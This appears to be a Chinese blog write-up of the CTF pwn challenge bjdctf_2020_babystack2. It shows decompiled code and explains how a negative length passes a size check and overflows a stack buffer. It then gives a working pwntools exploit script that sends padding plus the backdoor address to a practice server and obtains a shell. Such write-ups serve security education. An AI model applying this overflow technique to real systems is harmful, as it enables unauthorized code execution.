当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:16:00 【delta_hell】
题目分析
反编译,查找漏洞
main函数:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
当然,不会这么简单,前面有长度限制的判断
if (10 < (int)local_c)
不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
事实证明,思路完全正确,但是过程太曲折,简单描述下:
本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
搞的我怀疑人生。
解题思路
思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
没法本地验证导致的后果,就是溢出长度是猜出来的。
总结
思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。
边栏推荐
- 使用多线程Callable查询oracle数据库
- 比较通俗易懂的PID理解
- Relevant settings of wechat applet cache expiration time (recommended)
- 正则表达式收集
- SQL Server 安裝指南
- Asp .NetCore 微信订阅号自动回复之文本篇
- cookie、session、tooken
- Timer和ScheduledThreadPoolExecutor的区别
- SQL数据分析之子查询的综合用法和案例题【耐心整理】
- Multi table operation - one to one, one to many and many to many
猜你喜欢

S32Kxxx bootloader之UDS bootloader
![[QT] solve the problem that QT MSVC 2017 cannot compile](/img/35/e458fd437a0bed4bace2d6d65c9ec8.png)
[QT] solve the problem that QT MSVC 2017 cannot compile

What is ThreadLocal memory leak and how to solve it

Leetcode96 different binary search trees

数据库--SqlServer详解

PyTorch学习记录

Material design component - use bottomsheet to show extended content (I)

Multi table operation - one to one, one to many and many to many

九州云与英特尔联合发布智慧校园私有云框架,赋能教育新基建

Leetcode medium question sharing (5)
随机推荐
Guide d'installation du serveur SQL
Practical calculation of the whole process of operational amplifier hysteresis comparator
Is it safe to buy funds in a securities account? Where can I buy funds
Example explanation: move graph explorer to jupyterlab
RPA tutorial 01: Excel automation from introduction to practice
mysql之B tree 以及 B+tree
【QT】Qt 使用MSVC2017找不到编译器的解决办法
Openvino model performance evaluation tool DL workbench
vs2015 AdminDeployment. xml
电商RPA机器人,助力品牌电商抢立流量高点
SQL数据分析之窗口排序函数rank、dense_rank、raw_number与lag、lead窗口偏移函数【用法整理】
UVM tutorial
Various global files related to [.Net core] program
Multi table operation - one to one, one to many and many to many
微信小程序缓存过期时间的相关设置(推荐)
使用多线程Callable查询oracle数据库
【QT】对于Qt MSVC 2017无法编译的问题解决
回顾数据脱敏系统
ERP项目施行计划的目的是什么?
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]